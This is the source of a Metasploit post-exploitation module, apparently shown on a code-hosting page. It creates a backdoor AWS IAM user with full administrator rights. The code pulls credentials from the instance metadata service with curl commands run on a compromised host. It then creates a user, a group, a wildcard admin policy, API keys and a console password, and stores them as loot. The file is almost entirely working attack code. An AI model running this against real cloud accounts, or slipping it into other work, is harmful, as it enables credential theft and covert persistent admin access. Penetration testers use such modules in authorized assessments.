Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/escalate/aws_create_iam_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/aws/client'6require 'json'78class MetasploitModule < Msf::Post9include Metasploit::Framework::Aws::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Create an AWS IAM User',16'Description' => %q{17This module will attempt to create an AWS (Amazon Web Services) IAM18(Identity and Access Management) user with Admin privileges.19},20'License' => MSF_LICENSE,21'Platform' => %w[unix],22'SessionTypes' => %w[shell meterpreter],23'Author' => [24'Javier Godinez <godinezj[at]gmail.com>',25'Jon Hart <[email protected]>'26],27'References' => [28[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]29]30)31)3233register_options(34[35OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),36OptString.new('IAM_PASSWORD', [false, 'Password to set for the user to be created (leave empty or unset to use a random name)', '']),37OptString.new('IAM_GROUPNAME', [false, 'Name of the group to be created (leave empty or unset to use a random name)', '']),38OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),39OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),40OptString.new('AccessKeyId', [false, 'AWS access key', '']),41OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),42OptString.new('Token', [false, 'AWS session token', ''])43]44)45register_advanced_options(46[47OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),48OptString.new('RHOST', [true, 'AWS IAM Endpoint', 'iam.amazonaws.com']),49OptPort.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),50OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),51OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),52OptString.new('Region', [true, 'The default region', 'us-east-1' ])53]54)55deregister_options('VHOST')56end5758def setup59if !(datastore['CREATE_API'] || datastore['CREATE_CONSOLE'])60fail_with(Failure::BadConfig, 'Must set one or both of CREATE_API and CREATE_CONSOLE')61end62end6364def run65# setup creds for making IAM API calls66creds = metadata_creds67if datastore['AccessKeyId'].empty?68unless creds.include?('AccessKeyId')69print_error('Could not find creds')70return71end72else73creds = {74'AccessKeyId' => datastore['AccessKeyId'],75'SecretAccessKey' => datastore['SecretAccessKey']76}77creds['Token'] = datastore['Token'] unless datastore['Token'].blank?78end7980results = {}8182# create user83username = datastore['IAM_USERNAME'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']84print_status("Creating user: #{username}")85action = 'CreateUser'86doc = call_iam(creds, 'Action' => action, 'UserName' => username)87print_results(doc, action)88results['UserName'] = username8990# create group91groupname = datastore['IAM_GROUPNAME'].blank? ? username : datastore['IAM_GROUPNAME']92print_status("Creating group: #{groupname}")93action = 'CreateGroup'94doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)95print_results(doc, action)96results['GroupName'] = groupname9798# create group policy99print_status('Creating group policy')100pol_doc = datastore['IAM_GROUP_POL']101action = 'PutGroupPolicy'102doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => 'Policy', 'PolicyDocument' => URI::DEFAULT_PARSER.escape(pol_doc))103print_results(doc, action)104105# add user to group106print_status("Adding user (#{username}) to group: #{groupname}")107action = 'AddUserToGroup'108doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => groupname)109print_results(doc, action)110111if datastore['CREATE_API']112# create API keys113print_status("Creating API Keys for #{username}")114action = 'CreateAccessKey'115response = call_iam(creds, 'Action' => action, 'UserName' => username)116doc = print_results(response, action)117if doc118results['SecretAccessKey'] = doc['SecretAccessKey']119results['AccessKeyId'] = doc['AccessKeyId']120end121end122123if datastore['CREATE_CONSOLE']124print_status("Creating password for #{username}")125password = datastore['IAM_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_PASSWORD']126action = 'CreateLoginProfile'127response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)128doc = print_results(response, action)129results['Password'] = password if doc130end131132action = 'GetUser'133response = call_iam(creds, 'Action' => action, 'UserName' => username)134doc = print_results(response, action)135return if doc.nil?136137arn = doc['Arn']138results['AccountId'] = arn[/^arn:aws:iam::(\d+):/, 1]139140keys = results.keys141table = Rex::Text::Table.new(142'Header' => 'AWS Account Information',143'Columns' => keys144)145table << results.values146print_line(table.to_s)147148if results.key?('AccessKeyId')149print_good('AWS CLI/SDK etc can be accessed by configuring with the above listed values')150end151152if results.key?('Password')153print_good("AWS console URL https://#{results['AccountId']}.signin.aws.amazon.com/console may be used to access this account")154end155156path = store_loot('AWS credentials', 'text/plain', session, JSON.pretty_generate(results))157print_good('AWS loot stored at: ' + path)158end159160def metadata_creds161# TODO: do it for windows/generic way162cmd_out = cmd_exec('curl --version')163if cmd_out =~ /^curl \d/164url = "http://#{datastore['METADATA_IP']}/2012-01-12/meta-data/"165print_status("#{datastore['METADATA_IP']} - looking for creds...")166resp = cmd_exec("curl #{url}")167if resp =~ /^iam.*/168resp = cmd_exec("curl #{url}iam/")169if resp =~ /^security-credentials.*/170resp = cmd_exec("curl #{url}iam/security-credentials/")171json_out = cmd_exec("curl #{url}iam/security-credentials/#{resp}")172begin173return JSON.parse(json_out)174rescue JSON::ParserError175print_error 'Could not parse JSON output'176end177end178end179else180print_error cmd_out181end182{}183end184end185186187